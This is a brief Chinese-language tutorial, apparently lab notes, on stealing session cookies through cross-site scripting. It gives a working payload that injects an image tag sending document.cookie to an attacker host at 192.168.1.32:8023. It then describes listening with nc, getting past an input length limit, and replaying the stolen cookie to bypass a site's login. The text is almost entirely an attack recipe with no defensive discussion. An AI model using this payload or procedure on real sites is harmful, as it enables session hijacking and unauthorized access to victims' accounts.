1、脚本实现功能:将被攻击方cookie发送至黑客
/*****document.write:写入脚本
document.cookie:获取被攻击方cooki
img src:get请求返回脚本内容
****/
<script>document.write('<img src="http://192.168.1.32:8023/?'+document.cookie+'"/>')</script>
2、cmd运行nc,设置监听端口与脚本一致,为8023。
3、为上传脚本,发现有字符长度限制,修改长度限制再次上传
nc监听得到被攻击方cookie
3、黑客方修改cookie,随后直接进入网址,可绕过登录页面